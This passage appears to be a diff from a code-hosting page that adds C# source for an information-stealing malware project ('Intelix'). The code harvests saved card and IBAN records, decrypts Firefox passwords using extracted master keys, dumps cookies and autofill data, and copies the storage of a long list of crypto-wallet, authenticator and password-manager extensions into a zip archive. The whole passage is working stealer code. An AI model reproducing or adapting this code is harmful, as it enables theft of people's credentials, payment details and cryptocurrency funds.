zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void MaskCreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 1);
|
||||
string value2 = sSqLite.GetValue(i, 2);
|
||||
string value3 = sSqLite.GetValue(i, 3);
|
||||
string value4 = sSqLite.GetValue(i, 4);
|
||||
string value5 = sSqLite.GetValue(i, 5);
|
||||
string value6 = sSqLite.GetValue(i, 6);
|
||||
string value7 = sSqLite.GetValue(i, 7);
|
||||
string value8 = sSqLite.GetValue(i, 12);
|
||||
string item = "Name On Card: " + value + "\nNetwork: " + value2 + "\nCard Last Number: " + value3 + "\nExp: " + value4 + "/" + value5 + "\nBank Name: " + value6 + "\nNickName: " + value7 + "\nProduct Description: " + value8 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.MaskCreditCard;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Mask.txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void MaskedIbans(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 1);
|
||||
string value2 = sSqLite.GetValue(i, 2);
|
||||
string value3 = sSqLite.GetValue(i, 3);
|
||||
string item = "Nickname: " + value3 + "\nPrefix: " + value + "\nSuffix: " + value2 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.MaskedIban;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Iban.txt", string.Concat(lines));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Browsers;
|
||||
|
||||
public class CryptoChromium : ITarget
|
||||
{
|
||||
private readonly List<string[]> ChromeWalletsDirectories = new List<string[]>
|
||||
{
|
||||
new string[2] { "Trust Wallets", "pknlccmneadmjbkollckpblgaaabameg" },
|
||||
new string[2] { "MetaWallet", "pfknkoocfefiocadajpngdknmkjgakdg" },
|
||||
new string[2] { "Guarda Wallet", "fcglfhcjfpkgdppjbglknafgfffkelnm" },
|
||||
new string[2] { "Exodus", "idkppnahnmmggbmfkjhiakkbkdpnmnon" },
|
||||
new string[2] { "JaxxxLiberty", "mhonjhhcgphdphdjcdoeodfdliikapmj" },
|
||||
new string[2] { "Atomic Wallet", "bhmlbgebokamljgnceonbncdofmmkedg" },
|
||||
new string[2] { "Mycelium", "pidhddgciaponoajdngciiemcflpnnbg" },
|
||||
new string[2] { "Coinomi", "blbpgcogcoohhngdjafgpoagcilicpjh" },
|
||||
new string[2] { "GreenAddress", "gflpckpfdgcagnbdfafmibcmkadnlhpj" },
|
||||
new string[2] { "Edge", "doljkehcfhidippihgakcihcmnknlphh" },
|
||||
new string[2] { "BRD", "nbokbjkelpmlgflobbohapifnnenbjlh" },
|
||||
new string[2] { "Samourai Wallet", "apjdnokplgcjkejimjdfjnhmjlbpgkdi" },
|
||||
new string[2] { "Copay", "ieedgmmkpkbiblijbbldefkomatsuahh" },
|
||||
new string[2] { "Bread", "jifanbgejlbcmhbbdbnfbfnlmbomjedj" },
|
||||
new string[2] { "KeepKey", "dojmlmceifkfgkgeejemfciibjehhdcl" },
|
||||
new string[2] { "Trezor", "jpxupxjxheguvfyhfhahqvxvyqthiryh" },
|
||||
new string[2] { "Ledger Live", "pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln" },
|
||||
new string[2] { "Ledger Wallet", "hbpfjlflhnmkddbjdchbbifhllgmmhnm" },
|
||||
new string[2] { "Bitbox", "ocmfilhakdbncmojmlbagpkjfbmeinbd" },
|
||||
new string[2] { "Digital Bitbox", "dbhklojmlkgmpihhdooibnmidfpeaing" },
|
||||
new string[2] { "YubiKey", "mammpjaaoinfelloncbbpomjcihbkmmc" },
|
||||
new string[2] { "Nifty Wallet", "jbdaocneiiinmjbjlgalhcelgbejmnid" },
|
||||
new string[2] { "Math Wallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc" },
|
||||
new string[2] { "Coinbase Wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" },
|
||||
new string[2] { "Equal Wallet", "blnieiiffboillknjnepogjhkgnoac" },
|
||||
new string[2] { "EVER Wallet", "cgeeodpfagjceefieflmdfphplkenlfk" },
|
||||
new string[2] { "Jaxx Liberty", "ocefimbphcgjaahbclemolcmkeanoagc" },
|
||||
new string[2] { "BitApp Wallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi" },
|
||||
new string[2] { "Mew CX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm" },
|
||||
new string[2] { "GU Wallet", "nfinomegcaccbhchhgflladpfbajihdf" },
|
||||
new string[2] { "Guild Wallet", "nanjmdkhkinifnkgdeggcnhdaammmj" },
|
||||
new string[2] { "Saturn Wallet", "nkddgncdjgifcddamgcmfnlhccnimig" },
|
||||
new string[2] { "Harmony Wallet", "fnnegphlobjdpkhecapkijjdkgcjhkib" },
|
||||
new string[2] { "TON Wallet", "nphplpgoakhhjchkkhmiggakijnkhfnd" },
|
||||
new string[2] { "OpenMask Wallet", "penjlddjkjgpnkllboccdgccekpkcbin" },
|
||||
new string[2] { "MyTonWallet", "fldfpgipfncgndfolcbkdeeknbbbnhcc" },
|
||||
new string[2] { "DeWallet", "pnccjgokhbnggghddhahcnaopgeipafg" },
|
||||
new string[2] { "TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph" },
|
||||
new string[2] { "NC Wallet", "imlcamfeniaidioeflifonfjeeppblda" },
|
||||
new string[2] { "Moso Wallet", "ajkifnllfhikkjbjopkhmjoieikeihjb" },
|
||||
new string[2] { "Enkrypt Wallet", "kkpllkodjeloidieedojogacfhpaihoh" },
|
||||
new string[2] { "CirusWeb3 Wallet", "kgdijkcfiglijhaglibaidbipiejjfdp" },
|
||||
new string[2] { "Martian and Sui Wallet", "efbglgofoippbgcjepnhiblaibcnclgk" },
|
||||
new string[2] { "SubWallet", "onhogfjeacnfoofkfgppdlbmlmnplgbn" },
|
||||
new string[2] { "Pontem Wallet", "phkbamefinggmakgklpkljjmgibohnba" },
|
||||
new string[2] { "Talisman Wallet", "fijngjgcjhjmmpcmkeiomlglpeiijkld" },
|
||||
new string[2] { "Kardiachain Wallet", "pdadjkfkgcafgbceimcpbkalnfnepbnk" },
|
||||
new string[2] { "Phantom Wallet", "bfnaelmomeimhipmgjnjophhpkkoljpa" },
|
||||
new string[2] { "Phantom Wallet", "bfnaelmomeimhlpmgjnjophhpkkoljpa" },
|
||||
new string[2] { "Oxygen Wallet", "fhilaheimglignddjgofkcbgekhenbh" },
|
||||
new string[2] { "PaliWallet", "mgfffbidihjpoaomajlbgchddlicgpn" },
|
||||
new string[2] { "BoltX Wallet", "aodkkagnadcbobfpggnjeongemjbjca" },
|
||||
new string[2] { "Liquality Wallet", "kpopkelmapcoipemfendmdghnegimn" },
|
||||
new string[2] { "xDefi Wallet", "hmeobnffcmdkdcmlb1gagmfpfboieaf" },
|
||||
new string[2] { "Nami Wallet", "ipfcbjknijpeeillifnkikgncikgfhdo" },
|
||||
new string[2] { "MaiarDeFi Wallet", "dngmlblcodfobpdpecaadgfbeggfjfnm" },
|
||||
new string[2] { "MetaMask Wallet", "nkbihfbeogaeaoehlefnkodbefgpgknn" },
|
||||
new string[2] { "MetaMask Wallet", "djclckkglechooblngghdinmeemkbgci" },
|
||||
new string[2] { "MetaMask Wallet", "ejbalbakoplchlghecdalmeeeajnimhm" },
|
||||
new string[2] { "Goblin Wallet", "mlbafbjadjidk1bhgopoamemfibcpdfi" },
|
||||
new string[2] { "Braavos Smart Wallet", "jnlgamecbpmbajjfhmmmlhejkemejdma" },
|
||||
new string[2] { "UniSat Wallet", "ppbibelpcjmhbdihakflkdcoccbgbkpo" },
|
||||
new string[2] { "OKX Wallet", "mcohilncbfahbmgdjkbpemcciiolgcge" },
|
||||
new string[2] { "Manta Wallet", "enabgbdfcbaehmbigakijjabdpdnimlg" },
|
||||
new string[2] { "Suku Wallet", "fopmedgnkfpebgllppeddmmochcookhc" },
|
||||
new string[2] { "Suiet Wallet", "khpkpbbcccdmmclmpigdgddabeilkdpd" },
|
||||
new string[2] { "Koala Wallet", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid" },
|
||||
new string[2] { "ExodusWeb3 Wallet", "aholpfdialjgjfhomihkjbmgjidlcdno" },
|
||||
new string[2] { "Aurox Wallet", "kilnpioakcdndlodeeceffgjdpojajlo" },
|
||||
new string[2] { "Fewcha Move Wallet", "ebfidpplhabeedpnhjnobghokpiioolj" },
|
||||
new string[2] { "Carax Demon Wallet", "mdjmfdffdcmnoblignmgpommbefadffd" },
|
||||
new string[2] { "Leap Terra Wallet", "aijcbedoijmgnlmjeegjaglmepbmpkpi" },
|
||||
new string[2] { "Keplr Wallet", "dmkamcknogkgcdfhhbddcghachkejeap" },
|
||||
new string[2] { "Binance Chain Wallet", "fhbohimaelbohpjbbldcngcnapndodjp" },
|
||||
new string[2] { "Yoroi Wallet", "ffnbelfdoeiohenkjibnmadjiehjhajb" },
|
||||
new string[2] { "Rabby Wallet", "acmacodkjbdgmoleebolmdjonilkdbch" },
|
||||
new string[2] { "TokenPocket", "mfgccjchihfkkindfppnaooecgfneiii" },
|
||||
new string[2] { "SafePal Extension Wallet", "lgmpcpglpngdoalbgeoldeajfclnhafa" },
|
||||
new string[2] { "Magic Eden Wallet", "mkpegjkblkkefacfnmkajcjmabijhclg" },
|
||||
new string[2] { "Ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" },
|
||||
new string[2] { "Coin98", "aeachknmefphepccionboohckonoeemg" },
|
||||
new string[2] { "TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp" },
|
||||
new string[2] { "Wombat", "amkmjjmmflddogmhpjloimipbofnfjih" },
|
||||
new string[2] { "Nami", "lpfcbjknijpeeillifnkikgncikgfhdo" },
|
||||
new string[2] { "XDEFI", "hmeobnfnfcmdkdcmlblgagmfpfboieaf" },
|
||||
new string[2] { "Tron", "ibnejdfjmmkpcnlpebklmnkoeoihofec" },
|
||||
new string[2] { "Authenticator", "bhghoamapcdpbohphigoooaddinpkbai" },
|
||||
new string[2] { "Google Authenticator", "khcodhlfkpmhibicdjjblnkgimdepgnd" },
|
||||
new string[2] { "Microsoft Authenticator", "bfbdnbpibgndpjfhonkflpkijfapmomn" },
|
||||
new string[2] { "Authy", "gjffdbjndmcafeoehgdldobgjmlepcal" },
|
||||
new string[2] { "Duo Mobile", "eidlicjlkaiefdbgmdepmmicpbggmhoj" },
|
||||
new string[2] { "OTP Auth", "bobfejfdlhnabgglompioclndjejolch" },
|
||||
new string[2] { "FreeOTP", "elokfmmmjbadpgdjmgglocapdckdcpkn" },
|
||||
new string[2] { "Aegis Authenticator", "ppdjlkfkedmidmclhakfncpfdmdgmjpm" },
|
||||
new string[2] { "LastPass Authenticator", "cfoajccjibkjhbdjnpkbananbejpkkjb" },
|
||||
new string[2] { "Dashlane", "flikjlpgnpcjdienoojmgliechmmheek" },
|
||||
new string[2] { "Keeper", "gofhklgdnbnpcdigdgkgfobhhghjmmkj" },
|
||||
new string[2] { "RoboForm", "hppmchachflomkejbhofobganapojjol" },
|
||||
new string[2] { "KeePass", "lbfeahdfdkibininjgejjgpdafeopflb" },
|
||||
new string[2] { "KeePassXC", "kgeohlebpjgcfiidfhhdlnnkhefajmca" },
|
||||
new string[2] { "Bitwarden", "inljaljiffkdgmlndjkdiepghpolcpki" },
|
||||
new string[2] { "NordPass", "njgnlkhcjgmjfnfahdmfkalpjcneebpl" },
|
||||
new string[2] { "LastPass", "gabedfkgnbglfbnplfpjddgfnbibkmbb" }
|
||||
};
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Parallel.ForEach(Paths.Chromium, delegate(string browser)
|
||||
{
|
||||
if (Directory.Exists(browser))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile)
|
||||
{
|
||||
string browsername = Paths.GetBrowserName(browser);
|
||||
string profilename = Path.GetFileName(profile);
|
||||
Task.Run(delegate
|
||||
{
|
||||
GetChromeWallets(zip, counter, profile, profilename, browsername);
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void GetChromeWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName)
|
||||
{
|
||||
string path = Path.Combine(profilePath, "Local Extension Settings");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Dictionary<string, string> extensionDirs = Directory.EnumerateDirectories(path).ToDictionary((string dir) => Path.GetFileName(dir).ToLowerInvariant(), (string dir) => dir);
|
||||
Parallel.ForEach(ChromeWalletsDirectories, delegate(string[] walletInfo)
|
||||
{
|
||||
string key = walletInfo[1];
|
||||
if (extensionDirs.TryGetValue(key, out var value))
|
||||
{
|
||||
zip.AddDirectoryFiles(value, "Extension/" + Path.GetFileName(value));
|
||||
counter.CryptoChromium.Add(value + " => " + browserName + "_" + profilename + " " + walletInfo[0]);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Browsers;
|
||||
|
||||
public class CryptoGecko : ITarget
|
||||
{
|
||||
private readonly List<string[]> GeckoWalletsDirectories = new List<string[]>
|
||||
{
|
||||
new string[2] { "Metamask Wallet", "7d61b592-e488-4f55-bf12-8d0ae55fd100" },
|
||||
new string[2] { "Metamask Wallet", "bb29e575-946e-4e69-b956-f73aec0a9927" },
|
||||
new string[2] { "Phantom Wallet", "e212a176-a331-462c-a024-d2f9027f15fc" },
|
||||
new string[2] { "Phantom Wallet", "a02b2aab-5dca-4649-93cf-f6a34860fbd5" }
|
||||
};
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Parallel.ForEach(Paths.Gecko, delegate(string browser)
|
||||
{
|
||||
if (Directory.Exists(browser))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile)
|
||||
{
|
||||
string browsername = Paths.GetBrowserName(browser);
|
||||
string profilename = Path.GetFileName(profile);
|
||||
Task.Run(delegate
|
||||
{
|
||||
GetGeckoWallets(zip, counter, profile, profilename, browsername);
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void GetGeckoWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName)
|
||||
{
|
||||
string extensionsPath = Path.Combine(profilePath, "storage", "default");
|
||||
if (!Directory.Exists(extensionsPath))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Parallel.ForEach(GeckoWalletsDirectories, delegate(string[] walletInfo)
|
||||
{
|
||||
string text = walletInfo[1];
|
||||
string[] directories = Directory.GetDirectories(extensionsPath, "moz-extension+++" + text + "*", SearchOption.TopDirectoryOnly);
|
||||
foreach (string text2 in directories)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text3 = browserName + "_" + profilename + " " + walletInfo[0];
|
||||
zip.AddDirectoryFiles(text2, "Extension/" + Path.GetFileName(text2));
|
||||
counter.CryptoChromium.Add(text2 + " => " + text3);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Targets.Browsers;
|
||||
|
||||
public class Gecko : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Parallel.ForEach(Paths.Gecko, delegate(string browser)
|
||||
{
|
||||
if (Directory.Exists(browser))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile)
|
||||
{
|
||||
ProfileCollect(zip, counter, browser, profile);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile)
|
||||
{
|
||||
_ = browser + "\\Local State";
|
||||
string browsername = Paths.GetBrowserName(browser);
|
||||
string profilename = Path.GetFileName(profile);
|
||||
Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser();
|
||||
counterBrowser.Profile = profile;
|
||||
counterBrowser.BrowserName = browsername;
|
||||
Task.WaitAll(Task.Run(delegate
|
||||
{
|
||||
Password(zip, counterBrowser, profile, profilename, browsername);
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
Cookies(zip, counterBrowser, profile, profilename, browsername);
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
AutoFill(zip, counterBrowser, profile, profilename, browsername);
|
||||
}));
|
||||
if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L)
|
||||
{
|
||||
counter.Browsers.Add(counterBrowser);
|
||||
}
|
||||
}
|
||||
|
||||
private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
|
||||
{
|
||||
string path = Path.Combine(profile, "logins.json");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string path2 = Path.Combine(profile, "key4.db");
|
||||
string path3 = Path.Combine(profile, "key3.db");
|
||||
byte[] masterKey = null;
|
||||
if (File.Exists(path2))
|
||||
{
|
||||
masterKey = NssDumpMasterKey.Key4Database(path2);
|
||||
}
|
||||
else if (File.Exists(path3))
|
||||
{
|
||||
masterKey = NssDumpMasterKey.Key3Database(path3);
|
||||
}
|
||||
if (masterKey == null && !NSSDecryptor.Initialize(profile))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string text = File.ReadAllText(path);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline);
|
||||
if (matchCollection.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.ForEach(matchCollection.Cast<Match>(), delegate(Match match)
|
||||
{
|
||||
string value = match.Groups[1].Value;
|
||||
string value2 = match.Groups[2].Value;
|
||||
string value3 = match.Groups[3].Value;
|
||||
string text2 = "";
|
||||
string text3 = "";
|
||||
if (masterKey == null)
|
||||
{
|
||||
text2 = NSSDecryptor.Decrypt(value2);
|
||||
text3 = NSSDecryptor.Decrypt(value3);
|
||||
}
|
||||
else
|
||||
{
|
||||
Asn1Der asn1Der = new Asn1Der();
|
||||
byte[] toParse = Convert.FromBase64String(value2);
|
||||
byte[] toParse2 = Convert.FromBase64String(value3);
|
||||
Asn1DerObject asn1DerObject = asn1Der.Parse(toParse);
|
||||
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2);
|
||||
byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data;
|
||||
byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data;
|
||||
byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data;
|
||||
byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data;
|
||||
text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2);
|
||||
text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4);
|
||||
}
|
||||
text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", ""));
|
||||
text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", ""));
|
||||
if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
|
||||
{
|
||||
lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n");
|
||||
++counterBrowser.Password;
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
|
||||
}
|
||||
|
||||
private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
|
||||
{
|
||||
string text = Path.Combine(profile, "cookies.sqlite");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
SqLite sSqLite = SqLite.ReadTable(text, "moz_cookies");
|
||||
if (sSqLite == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 3);
|
||||
string value2 = sSqLite.GetValue(i, 4);
|
||||
string value3 = sSqLite.GetValue(i, 2);
|
||||
string value4 = sSqLite.GetValue(i, 5);
|
||||
string value5 = sSqLite.GetValue(i, 6);
|
||||
if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5))
|
||||
{
|
||||
string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.Cookies;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
|
||||
}
|
||||
|
||||
private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
|
||||
{
|
||||
string text = Path.Combine(profile, "formhistory.sqlite");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
SqLite sSqLite = SqLite.ReadTable(text, "moz_formhistory");
|
||||
if (sSqLite == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 1);
|
||||
string value2 = sSqLite.GetValue(i, 2);
|
||||
if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value))
|
||||
{
|
||||
string item = "Name: " + value + "\nValue: " + value2 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.AutoFill;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Browsers;
|
||||
|
||||
internal class UserAgentGenerator : ITarget
|
||||
{
|
||||
private class BrowserAgent
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string UserAgent { get; set; }
|
||||
}
|
||||
|
||||
private readonly string[] paths = new string[7]
|
||||
{
|
||||
"C:\\Program Files\\Opera\\launcher.exe",
|
||||
"C:\\Program Files\\Apple\\Safari\\Safari.exe",
|
||||
"C:\\Program Files\\Mozilla Firefox\\firefox.exe",
|
||||
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe"
|
||||
};
|
||||
|
||||
private readonly string[] names = new string[7] { "Opera", "Safari", "Firefox", "Chrome", "Edge", "Brave", "Yandex" };
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string version = WindowsInfo.GetVersion();
|
||||
string architecture = WindowsInfo.GetArchitecture();
|
||||
List<BrowserAgent> list = new List<BrowserAgent>();
|
||||
for (int i = 0; i < paths.Length; i++)
|
||||
{
|
||||
string text = ((names[i] == "Chrome") ? GenerateUserAgentChrome(paths[i], version, architecture) : GenerateUserAgent(paths[i], names[i], version, architecture));
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
list.Add(new BrowserAgent
|
||||
{
|
||||
Name = names[i],
|
||||
UserAgent = text
|
||||
});
|
||||
}
|
||||
}
|
||||
if (list.Count != 0)
|
||||
{
|
||||
int maxName = Math.Max("Browser".Length, list.Max((BrowserAgent a) => a.Name.Length));
|
||||
int maxUA = Math.Max("User-Agent".Length, list.Max((BrowserAgent a) => a.UserAgent.Length));
|
||||
List<string> list2 = new List<string>
|
||||
{
|
||||
"Browser".PadRight(maxName) + " | " + "User-Agent".PadRight(maxUA),
|
||||
new string('-', maxName + maxUA + 3)
|
||||
};
|
||||
list2.AddRange(list.Select((BrowserAgent a) => a.Name.PadRight(maxName) + " | " + a.UserAgent.PadRight(maxUA)));
|
||||
zip.AddTextFile("UserAgents.txt", string.Join(Environment.NewLine, list2));
|
||||
}
|
||||
}
|
||||
|
||||
private string GenerateUserAgent(string browserPath, string name, string osVersion, string architecture)
|
||||
{
|
||||
if (File.Exists(browserPath))
|
||||
{
|
||||
return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 " + name + "/" + GetBrowserVersion(browserPath);
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
private string GenerateUserAgentChrome(string browserPath, string osVersion, string architecture)
|
||||
{
|
||||
if (!File.Exists(browserPath))
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
string browserVersion = GetBrowserVersion(browserPath);
|
||||
return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + browserVersion + " Safari/537.36";
|
||||
}
|
||||
|
||||
private string GetBrowserVersion(string browserPath)
|
||||
{
|
||||
if (!File.Exists(browserPath))
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
return FileVersionInfo.GetVersionInfo(browserPath).FileVersion;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user